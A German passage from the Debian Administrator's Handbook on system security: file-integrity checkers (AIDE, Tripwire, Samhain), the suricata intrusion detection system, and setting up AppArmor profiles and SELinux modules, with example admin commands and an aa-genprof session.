Viele Optionen in /etc/default/aide können dazu verwendet werden, das Verhalten des Pakets aide zu justieren. AIDEs eigentliche Konfiguration ist in /etc/aide/aide.conf und /etc/aide/aide.conf.d/ gespeichert (diese Dateien werden genau genommen nur von update-aide.conf dazu benutzt, die Datei /var/lib/aide/aide.conf.autogenerated zu erstellen). Die Konfiguration gibt an, welche Eigenschaften welcher Dateien überprüft werden sollen. Der Inhalt von Protokolldateien verändert sich zum Beispiel regelmäßig, und derartige Veränderungen können ignoriert werden, solange die Berechtigungen dieser Dateien die gleichen bleiben. Aber sowohl der Inhalt als auch die Berechtigungen von ausführbaren Dateien müssen unverändert bleiben. Obwohl die Konfigurationssyntax nicht sehr komplex ist, ist sie nicht völlig intuitiv. Daher wird empfohlen, die Handbuchseite aide.conf(5) zu lesen.

Eine neue Version der Datenbank wird täglich in /var/lib/aide/aide.db.new erstellt; falls alle aufgenommenen Veränderungen legitim waren, kann sie als Ersatz für die Referenzdatenbank verwendet werden.

ALTERNATIVE Tripwire und Samhain

Tripwire ist AIDE sehr ähnlich; selbst die Syntax der Konfigurationsdatei ist fast die gleiche. Die Hauptergänzung, die von tripwire bereitgestellt wird, ist ein Verfahren, die Konfigurationsdatei zu signieren, so dass ein Angreifer mit ihr nicht auf eine andere Version der Referenzdatenbank verweisen kann.

Samhain bietet ebenfalls ähnliche Leistungsmerkmale, sowie einige Funktionen, um Rootkits zu entdecken (siehe Seitenleiste KURZER BLICK Die Pakete checksecurity und chkrootkit/rkhunter). Es kann auch netzwerkweit eingesetzt werden und seine Spuren (mit einer Signatur) auf einem zentralen Server festhalten.

KURZER BLICK Die Pakete checksecurity und chkrootkit/rkhunter

Das erste dieser Pakete enthält verschiedene kleine Skripte, die grundlegende Prüfungen des Systems durchführen (leere Passwörter, neue setuid-Dateien usw.) und den Administrator, falls nötig, warnen. Allerdings sollte sich trotz seines eindeutigen Namens kein Administrator nur auf dieses Paket verlassen, wenn er dafür sorgen möchte, dass ein Linux-System sicher ist.

Die Pakete chkrootkit und rkhunter ermöglichen es, nach möglicherweise auf dem System installierten Rootkits Ausschau zu halten. Zur Erinnerung: dies sind Programme, die dazu bestimmt sind, die Kompromittierung eines Systems zu verbergen und gleichzeitig diskret den Rechner im Griff zu halten. Die Tests sind nicht zu 100% zuverlässig, aber sie können gewöhnlich die Aufmerksamkeit des Administrators auf die möglichen Probleme lenken.

14.3.4. Eindringen entdecken (IDS/NIDS)

ZURÜCK ZU DEN GRUNDLAGEN Denial of Service

Ein „Denial-of-Service“-Angriff hat nur ein Ziel: einen Dienst nicht verfügbar zu machen. Ob ein solcher Angriff nun darin besteht, den Server mit Anfragen zu überlasten oder einen Fehler auszunutzen, das Ergebnis ist das gleiche: der Dienst ist nicht mehr funktionsfähig. Die normalen Benutzer sind unzufrieden, und der Ruf der Organisation, die den angegriffenen Netzwerkdienst bereitstellt, erleidet Schaden (und verliert möglicherweise Einnahmen, falls zum Beispiel der Dienst eine E-Commerce-Website war).

Solch ein Angriff erfolgt manchmal „verteilt“; dazu gehört es normalerweise, den Server mit einer großen Anzahl von Anfragen, die von vielen verschiedenen Quellen kommen, zu überlasten, so dass der Server nicht mehr imstande ist, die seriösen Anfragen zu beantworten. Diese Art von Angriffen hat bekannte Abkürzungen erhalten: DDoS und DoS (je nachdem, ob der Denial-of-Service-Angriff verteilt ist oder nicht).

suricata (im gleichnamigen Debian-Paket) ist ein NIDS - ein Network Intrusion Detection System. Seine Funktion besteht darin, das Netzwerk abzuhören und zu versuchen, Eindringversuche oder feindliche Handlungen (einschließlich eines Denial-of-Service-Angriffs) zu entdecken. Alle diese Vorgänge werden in verschiedenen Dateien unter /var/log/suricata protokolliert. Es gibt Tools von Drittanbietern (Kibana/logstash) mit denen man die gesammelten Daten besser durchsuchen kann.

→ http://suricata-ids.org

→ https://www.elastic.co/products/kibana

VORSICHT Wirkungsbereich

Die Effektivität von suricata wird durch den Datenverkehr begrenzt, der an der überwachten Netzwerk-Schnittstelle sichtbar ist. Es kann natürlich nichts entdecken, wenn es den tatsächlichen Datenverkehr nicht beobachten kann. Wenn es an einen Netzwerkswitch angeschlossen ist, wird es daher nur Angriffe überwachen, die auf den Rechner, auf dem es läuft, abzielen, was möglicherweise nicht die Absicht ist. Der Rechner, der suricata beherbergt, sollte daher an den „Spiegel“-Port des Switches angeschlossen werden, der normalerweise speziell dafür vorgesehen ist, Switche zu verketten und daher allen Datenverkehr erhält.

Die Konfiguration von suricata beinhaltet die Überprüfung und Bearbeitung von /etc/suricata/suricata-debian.yaml, was sehr lang daueren kann, da jeder Parameter reichlich kommentiert wird. Eine minimale Konfiguration erfordert die Beschreibung des Adressbereichs, den das lokale Netzwerk abdeckt (Parameter HOME_NET). In der Praxis bedeutet dies der Umfang aller möglichen Angriffsziele. Aber um das Beste daraus zu machen, muss man es vollständig lesen und an die örtlichen Gegebenheiten anpassen.

Außerdem sollten Sie /etc/default/suricata bearbeiten, um die Netzwerkschnittstelle für die Überwachung zu definieren und das Initskript zu aktivieren (durch Setzen von RUN=yes). Sie können auch LISTENMODE=pcap setzen, da die Standardeinstellung LISTENMODE=nfqueue eine weitere Konfiguration erfordert, um korrekt zu funktionieren (die netfilter-Firewall muss so konfiguriert sein, dass sie Pakete an eine von Suricata verwaltete User Space-Warteschlange über das NFQUEUE Ziel durchreicht).

Suricata muss einen Satz an Monitoring-Regeln erstellen um bösartiges Verhalten zu entdecken: Man findet solche Regeln im snort-rules-default Paket. Snort ist historisch die Referenz im IDS Ökosystem und suricata kann die Regelsätze die für Snort geschrieben wurden weiterverwenden. Leider findet man das Paket nicht unter Debian Jessie und muss daher aus einem anderen Debian Release wie etwa Testing oder Unstable bezogen werden.

Wahlweise kann auch oinkmaster (im Paket selben Namens) genutzt werden um Snort Regelsätze von externen Quellen zu beziehen.

WEITERE SCHRITTE Integration mit prelude

Prelude ermöglicht eine zentralisierte Überwachung von Sicherheitsinformationen. Seine modulare Architektur enthält einen Server (den Manager im Paket prelude-manager), der Alarmmeldungen sammelt, die von verschiedenen Arten von Sensoren erzeugt werden.

Suricata kann als ein solcher Sensor konfiguriert werden. Eine andere Möglichkeit ist prelude-lml (Log Monitor Lackey), das Protokolldateien überwacht (in ähnlicher Weise wie das in Abschnitt 14.3.1, „Protokolle mit logcheck verfolgen“ beschriebene logcheck).

14.4. Einführung in AppArmor

14.4.1. Prinzipien

AppArmor ist ein Mandatory Access Control System (MAC), das auf der LSM-Schnittstelle (Linux Security Modules) von Linux aufbaut. In der Praxis befragt der Kernel AppAmor vor jedem Systemaufruf, um herauszufinden, ob der Prozess autorisiert ist, den jeweiligen Vorgang auszuführen.

AppArmor wendet eine Reihe von Regeln (bekannt als "Profil") auf jedes Programm an. Das vom Kernel verwendete Profil hängt vom Installationspfad des ausgeführten Programms ab. Im Gegensatz zu SELinux (beschrieben in Abschnitt 14.5, „Einführung in SELinux“) sind die angewandten Regeln nicht vom Benutzer abhängig. Alle Benutzer haben die gleichen Regeln, wenn sie das gleiche Programm ausführen (aber die traditionellen Benutzerberechtigungen gelten weiterhin und können zu unterschiedlichem Verhalten führen!).

AppArmor-Profile werden in /etc/apparmor.d/ gespeichert und enthalten eine Liste von Zugriffskontrollregeln für Ressourcen, die jedes Programm verwenden kann. Die Profile werden mit dem Befehl apparmor_parser in den Kernel geladen. Jedes Profil kann entweder im Erzwingungs- oder im Beschwerdemodus geladen werden. Ersterer setzt die Richtlinie durch und meldet Verstöße, während Letzterer die Richtlinie nicht durchsetzt, aber dennoch die Systemaufrufe protokolliert, die abgelehnt worden wären.

14.4.2. AppArmor Profile einschalten und verwalten

AppArmor-Unterstützung ist in die von Debian bereitgestellten Standardkernel integriert. Das Aktivieren von AppArmor ist also nur eine Frage der Installation einiger Pakete und des Hinzufügens einiger Parameter zur Kernel-Befehlszeile:

# apt install apparmor apparmor-profiles apparmor-utils
[...]
# perl -pi -e 's,GRUB_CMDLINE_LINUX="(.*)"$,GRUB_CMDLINE_LINUX="$1 apparmor=1 security=apparmor",' /etc/default/grub
# update-grub

Nach einem Neustart ist AppArmor nun funktionsfähig und aa-status bestätigt das schnell:

# aa-status
apparmor module is loaded.
44 profiles are loaded.
9 profiles are in enforce mode.
/usr/bin/lxc-start
/usr/lib/chromium-browser/chromium-browser//browser_java
[...]
35 profiles are in complain mode.
/sbin/klogd
[...]
3 processes have profiles defined.
1 processes are in enforce mode.
/usr/sbin/libvirtd (1295)
2 processes are in complain mode.
/usr/sbin/avahi-daemon (941)
/usr/sbin/avahi-daemon (1000)
0 processes are unconfined but have a profile defined.

HINWEISWetere AppArmor-Profile

Das Paket apparmor-profiles enthält Profile, die von der vorgelagerten AppArmor-Community verwaltet werden. Um noch mehr Profile zu erhalten, können Sie apparmor-profiles-extra installieren, das von Ubuntu und Debian entwickelte Profile enthält.

Der Zustand jedes Profils kann zwischen Erzwingen und Beschweren mit Aufrufen von aa-enforce und aa-complain umgeschaltet werden, wobei als Parameter entweder der Pfad der ausführbaren Datei oder der Pfad zur Policy-Datei angegeben wird. Zusätzlich kann ein Profil mit aa-disable vollständig deaktiviert werden oder mit aa-audit in den Audit-Modus versetzt werden (um auch akzeptierte Systemaufrufe zu protokollieren).

# aa-enforce /usr/sbin/avahi-daemon
Setting /usr/sbin/avahi-daemon to enforce mode.
# aa-complain /etc/apparmor.d/usr.bin.lxc-start
Setting /etc/apparmor.d/usr.bin.lxc-start to complain mode.

14.4.3. Ein neues Profil erstellen

Obwohl die Erstellung eines AppArmor-Profils recht einfach ist, haben die meisten Programme keins. Dieser Abschnitt zeigt Ihnen, wie Sie ein neues Profil von Grund auf neu erstellen, indem Sie das Zielprogramm verwenden und AppArmor den Systemaufruf und die Ressourcen, auf die es zugreift, überwachen lassen.

Die wichtigsten Programme, die eingeschränkt werden sollen, sind die Programme, die mit dem Netzwerk verbunden sind, da diese die wahrscheinlichsten Ziele von entfernten Angreifern sind. Das ist der Grund, warum AppArmor bequem einen Befehl aa-unconfined zur Verfügung stellt, um die Programme aufzulisten, die kein zugehöriges Profil haben und einen offenen Netzwerk-Socket anbieten. Mit der Option --paranoid erhalten Sie alle unbeschränkten Prozesse, die mindestens eine aktive Netzwerkverbindung haben.

# aa-unconfined
801 /sbin/dhclient not confined
890 /sbin/rpcbind not confined
899 /sbin/rpc.statd not confined
929 /usr/sbin/sshd not confined
941 /usr/sbin/avahi-daemon confined by '/usr/sbin/avahi-daemon (complain)'
988 /usr/sbin/minissdpd not confined
1276 /usr/sbin/exim4 not confined
1485 /usr/lib/erlang/erts-6.2/bin/epmd not confined
1751 /usr/lib/erlang/erts-6.2/bin/beam.smp not confined
19592 /usr/lib/dleyna-renderer/dleyna-renderer-service not confined

Im folgenden Beispiel wird also versucht, ein Profil für /sbin/dhclient zu erstellen. Dazu verwenden wir aa-genprof dhclient. Es wird Sie einladen, die Anwendung in einem anderen Fenster zu benutzen, und wenn es fertig ist, zu aa-genprof zurückzukehren, um nach AppArmor-Ereignissen in den Systemprotokollen zu suchen und diese Protokolle in Zugriffsregeln umzuwandeln. Für jedes protokollierte Ereignis macht es einen oder mehrere Regelvorschläge, die Sie entweder genehmigen oder auf mehrere Arten weiter bearbeiten können:

# aa-genprof dhclient
Writing updated profile for /sbin/dhclient.
Setting /sbin/dhclient to complain mode.

Before you begin, you may wish to check if a
profile already exists for the application you
wish to confine. See the following wiki page for
more information:
http://wiki.apparmor.net/index.php/Profiles

Please start the application to be profiled in
another window and exercise its functionality now.

Once completed, select the "Scan" option below in
order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the
opportunity to choose whether the access should be
allowed or denied.

Profiling: /sbin/dhclient

[(S)can system log for AppArmor events] / (F)inish
Reading log entries from /var/log/audit/audit.log.

Profile:  /sbin/dhclient
Execute:  /usr/lib/NetworkManager/nm-dhcp-helper
Severity: unknown

(I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish
P
Should AppArmor sanitise the environment when
switching profiles?

Sanitising environment is more secure,
but some applications depend on the presence
of LD_PRELOAD or LD_LIBRARY_PATH.

(Y)es / [(N)o]
Y
Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.
Complain-mode changes:
WARN: unknown capability: CAP_net_raw

Profile:    /sbin/dhclient
Capability: net_raw
Severity:   unknown

[(A)llow] / (D)eny / (I)gnore / Audi(t) / Abo(r)t / (F)inish
A
Adding capability net_raw to profile.

Profile:  /sbin/dhclient
Path:     /etc/nsswitch.conf
Mode:     r
Severity: unknown

1 - #include <abstractions/apache2-common>
2 - #include <abstractions/libvirt-qemu>
3 - #include <abstractions/nameservice>
4 - #include <abstractions/totem>
[5 - /etc/nsswitch.conf]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore
3

Profile:  /sbin/dhclient
Path:     /etc/nsswitch.conf
Mode:     r
Severity: unknown

1 - #include <abstractions/apache2-common>
2 - #include <abstractions/libvirt-qemu>
[3 - #include <abstractions/nameservice>]
4 - #include <abstractions/totem>
5 - /etc/nsswitch.conf
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore
A
Adding #include <abstractions/nameservice> to profile.

Profile:  /sbin/dhclient
Path:     /proc/7252/net/dev
Mode:     r
Severity: 6

1 - /proc/7252/net/dev
[2 - /proc/*/net/dev]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore
A
Adding /proc/*/net/dev r to profile

[...]
Profile:  /sbin/dhclient
Path:     /run/dhclient-eth0.pid
Mode:     w
Severity: unknown

[1 - /run/dhclient-eth0.pid]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore
N

Enter new path: /run/dhclient*.pid

Profile:  /sbin/dhclient
Path:     /run/dhclient-eth0.pid
Mode:     w
Severity: unknown

1 - /run/dhclient-eth0.pid
[2 - /run/dhclient*.pid]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore
A
Adding /run/dhclient*.pid w to profile

[...]
Profile:  /usr/lib/NetworkManager/nm-dhcp-helper
Path:     /proc/filesystems
Mode:     r
Severity: 6

[1 - /proc/filesystems]
[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore
A
Adding /proc/filesystems r to profile

= Changed Local Profiles =

The following local profiles were changed. Would you like to save them?

[1 - /sbin/dhclient]
2 - /usr/lib/NetworkManager/nm-dhcp-helper
(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t
S
Writing updated profile for /sbin/dhclient.
Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.

Profiling: /sbin/dhclient

[(S)can system log for AppArmor events] / (F)inish
F
Setting /sbin/dhclient to enforce mode.
Setting /usr/lib/NetworkManager/nm-dhcp-helper to enforce mode.

Reloaded AppArmor profiles in enforce mode.

Please consider contributing your new profile!
See the following wiki page for more information:
http://wiki.apparmor.net/index.php/Profiles

Finished generating profile for /sbin/dhclient.

Beachten Sie, dass das Programm die von Ihnen eingegebenen Steuerzeichen nicht wiedergibt, aber zur besseren Übersichtlichkeit der Erklärung habe ich sie in die Abschrift oben aufgenommen.

Das erste erkannte Ereignis ist die Ausführung eines anderen Programms. In diesem Fall haben Sie mehrere Möglichkeiten: Sie können das Programm mit dem Profil des übergeordneten Prozesses ausführen (Auswahl "Vererben"), Sie können es mit einem eigenen Profil ausführen (Auswahl "Profil" und "Benannt", die sich nur durch die Möglichkeit unterscheiden, einen beliebigen Profilnamen zu verwenden), Sie können es mit einem Unterprofil des übergeordneten Prozesses ausführen (Auswahl "Kind"), Sie können es ohne Profil ausführen (Auswahl "Unbegrenzt") oder Sie können entscheiden, es überhaupt nicht auszuführen (Auswahl "Verweigern").

Beachten Sie, dass das Tool, wenn Sie es unter einem speziellen, not nicht existierenden Profil ausführen, das fehlende Profil für Sie erstellt und Regelvorschläge für dieses Profil im selben Lauf macht.

Auf der Kernel-Ebene wurden die speziellen Befugnisse des root-Benutzers in "Fähigkeiten" aufgeteilt. Wenn ein Systemaufruf eine bestimmte Fähigkeit erfordert, prüft AppArmor, ob das Profil dem Programm erlaubt, diese Fähigkeit zu nutzen.

Hier sucht das Programm Leserechte für /etc/nsswitch.conf. aa-genprof hat festgestellt, dass diese Erlaubnis auch von mehreren "Abstraktionen" erteilt wurde und bietet sie als Alternative an. Eine Abstraktion bietet einen wiederverwendbaren Satz von Zugriffsregeln, die mehrere gemeinsam genutzte Ressourcen zusammenfassen. In diesem speziellen Fall wird die Datei im Allgemeinen über die Nameservice-bezogenen Funktionen der C-Bibliothek aufgerufen, und wir geben "3" ein, um zuerst die Option "#include <abstractions/nameservice>" und dann "A" auszuwählen, um sie zuzulassen.

Das Programm möchte die Datei /run/dhclient-eth0.pid erstellen. Wenn wir nur die Erstellung dieser speziellen Datei zulassen, wird das Programm nicht funktionieren, wenn der Benutzer sie auf einer anderen Netzwerkschnittstelle verwendet. Daher wählen wir "Neu", um den Dateinamen durch die allgemeinere "/run/dhclient*.pid" zu ersetzen, bevor wir die Regel mit "Zulassen" aufnehmen.

Beachten Sie, dass diese Zugriffsanforderung nicht Teil des dhclient-Profils ist, sondern des neuen Profils, das wir erstellt haben, als wir /usr/lib/NetworkManager/nm-dhcp-helper mit seinem eigenen Profil laufen ließen.

Nach Durchlaufen aller protokollierten Ereignisse bietet das Programm an, alle während des Laufs erstellten Profile zu speichern. In diesem Fall haben wir zwei Profile, die wir mit "Speichern" auf einmal speichern (Sie können sie aber auch einzeln speichern), bevor wir das Programm mit "Beenden" verlassen.

aa-genprof ist eigentlich nur ein intelligenter Wrapper um aa-logprof: er erstellt ein leeres Profil, lädt es im Beschwerdemodus und führt dann aa-logprof aus, das ein Werkzeug ist, um ein Profil basierend auf den protokollierten Profilverletzungen zu aktualisieren. So können Sie dieses Tool später erneut ausführen, um das gerade erstellte Profil zu verbessern.

Wenn Sie möchten, dass das generierte Profil vollständig ist, sollten Sie das Programm so verwenden, wie es berechtigterweise verwendet wird. Im Falle von dhclient bedeutet dies, dass es über den Netzwerk-Manager, über ifupdown, manuell usw. ausgeführt wird. Am Ende könnte /etc/apparmor.d/sbin.dhclient in der Nähe stehen von:

# Last Modified: Tue Sep  8 21:40:02 2015
#include <tunables/global>

/sbin/dhclient {
#include <abstractions/base>
#include <abstractions/nameservice>

capability net_bind_service,
capability net_raw,

/bin/dash r,
/etc/dhcp/* r,
/etc/dhcp/dhclient-enter-hooks.d/* r,
/etc/dhcp/dhclient-exit-hooks.d/* r,
/etc/resolv.conf.* w,
/etc/samba/dhcp.conf.* w,
/proc/*/net/dev r,
/proc/filesystems r,
/run/dhclient*.pid w,
/sbin/dhclient mr,
/sbin/dhclient-script rCx,
/usr/lib/NetworkManager/nm-dhcp-helper Px,
/var/lib/NetworkManager/* r,
/var/lib/NetworkManager/*.lease rw,
/var/lib/dhcp/*.leases rw,

profile /sbin/dhclient-script flags=(complain) {
#include <abstractions/base>
#include <abstractions/bash>

/bin/dash rix,
/etc/dhcp/dhclient-enter-hooks.d/* r,
/etc/dhcp/dhclient-exit-hooks.d/* r,
/sbin/dhclient-script r,

}
}

14.5. Einführung in SELinux

14.5.1. Prinzipien

SELinux (Security Enhanced Linux) ist ein System mit Mandatory Access Control, das auf der LSM-Schnittstelle (Linux Security Modules) von Linux aufbaut. In der Praxis befragt der Kernel SELinux vor jedem Systemaufruf, um herauszufinden, ob der Prozess autorisiert ist, den jeweiligen Vorgang auszuführen.

SELinux verwendet einen Satz von Regeln - in ihrer Gesamtheit als Policy bezeichnet - um Vorgänge zu autorisieren oder zu verbieten. Diese Regeln sind schwierig zu erstellen. Glücklicherweise werden zwei Standardregelwerke (targeted und strict) bereitgestellt, die den Großteil der Konfigurierungsarbeit entbehrlich machen.

Mit SELinux ist die Verwaltung der Berechtigungen grundsätzlich verschieden von traditionellen Unix-Systemen. Die Berechtigungen eines Prozesses hängen von seinem Sicherheitskontext ab. Der Kontext wird von der Identität des Benutzers bestimmt, der den Prozess gestartet hat, sowie von der Rolle und der Domain, die dem Benutzer zu dieser Zeit übertragen waren. Die Berechtigungen hängen tatsächlich von der Domain ab, aber die Übergänge zwischen den Domains werden von den Rollen kontrolliert. Und schließlich hängen die möglichen Übergänge zwischen den Rollen von der Identität ab.

Abbildung 14.3. Sicherheitskontexte und Unix-Nutzer

Konkret bekommt der Nutzer während der Anmeldung einen Standard-Sicherheitskontext zugewiesen (in Abhängigkeit von den Rollen, die er bestätigen können soll). Dies bestimmt die geltende Domain und damit auch die Domain, der alle neuen Unterprozesse zugeordnet werden. Wenn man die geltende Rolle und die ihr zugeordnete Domain ändern will, muss man den Befehl newrole -r rolle_r -t domain_t aufrufen (normalerweise ist nur eine einzige Domain für eine bestimmte Rolle erlaubt, deshalb kann der Parameter -t häufig weggelassen werden). Dieser Befehl authentifiziert jemanden, indem er ihn auffordert, sein Passwort einzugeben. Dies hindert Programme daran, selbstständig ihre Rollen zu ändern. Derartige Änderungen sind nur möglich, wenn sie im SELinux-Regelwerk ausdrücklich erlaubt sind.

Offensichtlich gelten die Berechtigungen nicht für alle Objekte (Dateien, Verzeichnisse, Sockets, Geräte usw.). Sie können von Objekt zu Objekt unterschiedlich sein. Um dies zu erreichen, ist jedes Objekt einem Typ zugeordnet (dies wird als Kennzeichnung bezeichnet). Die Rechte einer Domain werden somit durch Sätze von Operationen ausgedrückt, die bei diesen Typen erlaubt sind oder nicht (und indirekt bei allen Objekten, die mit dem jeweiligen Typ gekennzeichnet sind).

EXTRA Domains und Typen sind gleichwertig

Intern ist eine Domain nur ein Typ, jedoch ein Typ, der nur für Prozesse gilt. Daher tragen Domains das Suffix _t, genau wie Objekttypen.

Standardmäßig übernimmt ein Programm die Domain des Nutzers, der es gestartet hat, aber die normalen SELinux-Regeln erwarten, dass viele wichtige Programme in speziell für sie vorgesehenen Domains laufen. Um dies zu erreichen, werden diese ausführbaren Dateien mit einem fest zugeordneten Typ gekennzeichnet (zum Beispiel wird ssh mit ssh_exec_t gekennzeichnet, und wenn das Programm startet, wechselt es selbstständig in die Domain ssh_t). Dieser automatische Vorgang des Domainwechsels ermöglicht es, jedem Programm nur die Berechtigungen zu gewähren, die es benötigt. Dies ist ein wesentliches Prinzip von SELinux.

Abbildung 14.4. Selbstständige Übergänge zwischen Domains

IN DER PRAXIS Den Sicherheitskontext finden

Um den Sicherheitskontext eines bestimmten Prozesses festzustellen, kann die Option Z des Befehls ps verwendet werden.

$ ps axZ | grep vstfpd
system_u:system_r:ftpd_t:s0   2094 ?    Ss  0:00 /usr/sbin/vsftpd

Das erste Feld enthält durch Doppelpunkte getrennt die Identität, die Rolle, die Domain und die MCS-Stufe. Die MCS-Stufe (Multi-Category Security) ist ein Parameter, der beim Aufbau einer Regel zum Schutz der Vertraulichkeit eingreift, die den Zugriff auf Dateien in Abhängigkeit von ihrer Sensibilität regelt. Dieses Leistungsmerkmal wird in diesem Buch nicht erläutert.

Um in einer Konsole den aktuellen Sicherheitskontext festzustellen, kann man den Befehl id -Z aufrufen.

$ id -Z
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Um schließlich auch den Typ festzustellen, der einer Datei zugeordnet ist, kann man den Befehl ls -Z verwenden.

$ ls -Z test /usr/bin/ssh
unconfined_u:object_r:user_home_t:s0 test
system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

Man sollte beachten, dass die Identität und die Rolle, die einer Datei zugewiesen sind, keine besondere Bedeutung haben (sie werden nie benutzt), aber aus Gründen der Einheitlichkeit wird allen Objekten ein vollständiger Sicherheitskontext zugeordnet.

14.5.2. SELinux einrichten

Die Unterstützung von SELinux ist in den von Debian bereitgestellten Standard-Kerneln enthalten. Die Kernprogramme von Unix unterstützen SELinux ohne Änderungen. Es ist daher recht einfach, SELinux zu aktivieren.

Der Befehl apt install selinux-basics selinux-policy-default installiert selbstständig die zur Konfigurierung eines SELinux-Systems erforderlichen Pakete.

VORSICHT Referenzrichtlinie nicht in jessie

Leider haben die Betreuer des refpolicy Quellpaketes kritische Fehler in ihrem Paket nicht behandelt und das Paket wurde von jessie entfernt. Das bedeutet, dass die selinux-policy-* Pakete derzeit nicht in jessie installiert werden können und von einem anderen Ort geholt werden müssen. Hoffentlich kommen sie in einem der Point-Releases oder in Jessie-Backports wieder. In der Zwischenzeit können Sie sie aus der unstable holen.

Diese traurige Situation beweist zumindest, dass SELinux in der Menge der Benutzer/Entwickler, die die Entwicklungsversionen von Debian ausführen, nicht sehr beliebt ist. Wenn Sie sich also für SELinux entscheiden, sollten Sie davon ausgehen, dass die Standardrichtlinie nicht einwandfrei funktioniert und Sie einige Zeit investieren müssen, um sie an Ihre speziellen Bedürfnisse anzupassen.

Das Paket selinux-policy-default enthält einen Satz von Standardregeln. Standardmäßig beschränkt dieses Regelwerk nur den Zugang für einige besonders gefährdete Dienste. Die Nutzersitzungen sind nicht eingeschränkt, und es ist daher unwahrscheinlich, dass SELinux legitime Nutzeraktionen blockieren würde. Dieses erhöht jedoch die Sicherheit von Systemdiensten, die auf dem Rechner laufen. Um ein Regelwerk einzurichten, das den alten „strengen“ Regeln entspricht, müssen Sie nur das Modul unconfined deaktivieren (die Modulverwaltung wird in diesem Kapitel ausführlich beschrieben).

Sobald das Regelwerk installiert ist, sollten Sie alle verfügbaren Dateien kennzeichnen (das heißt, sie einem Typ zuzuordnen). Dieser Vorgang muss mit dem Befehl fixfiles relabel von Hand gestartet werden.

Das SELinux-System ist nun einsatzbereit. Um es zu aktivieren, sollten Sie den Parameter selinux=1 security=selinux zum Linux-Kernel hinzufügen. Der Parameter audit=1 aktiviert bei SELinux das Protokollieren, durch das alle unterbundenen Vorgänge aufgezeichnet werden. Schließlich bringt der Parameter enforcing=1 das Regelwerk zur Anwendung: ohne ihn läuft SELinux in seinem standardmäßigen permissive-Modus, bei dem unterbundene Vorgänge zwar protokolliert, aber dennoch ausgeführt werden. Sie sollten daher die Konfigurationsdatei des GRUB-Bootloaders anpassen, indem Sie die gewünschten Parameter anhängen. Ein einfacher Weg, dies zu tun, besteht darin, die Variable GRUB_CMDLINE_LINUX in der Datei /etc/default/grub zu ändern und dann den Befehl update-grub auszuführen. SELinux ist dann nach einem Neustart aktiv.

Es sei darauf hingewiesen, dass das Skript selinux-activate diese Vorgänge automatisiert und das Kennzeichnen der Dateien beim nächsten Rechnerstart erzwingt (wodurch vermieden wird, dass neue nicht gekennzeichnete Dateien erstellt werden, während SELinux noch nicht aktiv ist und das Kennzeichnen noch andauert).

14.5.3. Ein SELinux-System verwalten

Das SELinux-Regelwerk ist ein modularer Satz von Regeln, und mit seiner Installierung werden automatisch alle relevanten Module entsprechend den bereits installierten Diensten erkannt und aktiviert. Das System ist hierdurch sofort funktionsfähig. Wenn jedoch ein Dienst später als das SELinux-Regelwerk installiert wird, müssen Sie in der Lage sein, das entsprechende Modul manuell zu aktivieren. Hierzu dient der Befehl semodule. Darüber hinaus müssen Sie in der Lage sein, die Rollen festzulegen, die jeder Nutzer bestätigen kann. Dies geschieht mit dem Befehl semanage.

Diese beiden Befehle können somit dazu benutzt werden, die aktuelle SELinux-Konfiguration, die in /etc/selinux/default/ gespeichert ist, zu ändern. Im Gegensatz zu anderen Konfigurationsdateien, die Sie in /etc/ finden, dürfen diese Dateien nicht manuell verändert werden. Sie sollten hierzu die für diesen Zweck vorgesehenen Programme verwenden.

WEITERE SCHRITTE Weitere Unterlagen

Da die NSA keine offiziellen Unterlagen bereitstellt, hat die Gemeinschaft zum Ausgleich ein Wiki eingerichtet. Es bündelt viele Informationen, jedoch müssen Sie sich bewusst sein, dass die meisten SELinux-Mitwirkenden Fedora-Benutzer sind (bei dem SELinux standardmäßig aktiviert ist). Die Dokumentation neigt daher dazu, sich vor allem mit dieser Distribution zu beschäftigen.

→ http://www.selinuxproject.org

Sie sollten auch einen Blick auf die entsprechende Debian-Wiki-Seite wie auch auf Russell Cokers Blog werfen, der einer der aktivsten an der SELinux-Unterstützung arbeitenden Debian-Entwickler ist.

→ http://wiki.debian.org/SELinux

→ http://etbe.coker.com.au/tag/selinux/

14.5.3.1. SELinux-Module verwalten

Verfügbare SELinux-Module sind im Verzeichnis /usr/share/selinux/default/ gespeichert. Um eines dieser Module in der aktuellen Konfiguration zu aktivieren, sollten Sie den Befehl semodule -i Modul.pp.bz2 benutzen. Die Erweiterung pp.bz2 steht für policy package (komprimiert mit bzip2).

Das Entfernen eines Moduls aus der aktuellen Konfiguration erfolgt mit semodule -r module. Letztendlich listet der Befehl semodule -l die aktuell installierten Module auf. Es gibt auch deren Versionsnummern aus. Module können selektiv mit semodul -e aktiviert und mit semodul -d deaktiviert werden.

# semodule -i /usr/share/selinux/default/abrt.pp.bz2
# semodule -l
abrt    1.5.0   Disabled
accountsd       1.1.0
acct    1.6.0
[...]
# semodule -e abrt
# semodule -d accountsd
# semodule -l
abrt    1.5.0
accountsd       1.1.0   Disabled
acct    1.6.0
[...]
# semodule -r abrt
# semodule -l
accountsd       1.1.0   Disabled
acct    1.6.0
[...]

semodule lädt die neue Konfiguration unmittelbar, es sei denn, Sie verwenden seine Option -n. Es sei darauf hingewiesen, dass das Programm standardmäßig auf die aktuelle Konfiguration wirkt (die unter der Variablen SELINUXTYPE in der Datei /etc/selinux/config angegeben ist), aber Sie können eine andere ändern, indem Sie sie mit der Option -s vorgeben.

14.5.3.2. Identitäten verwalten

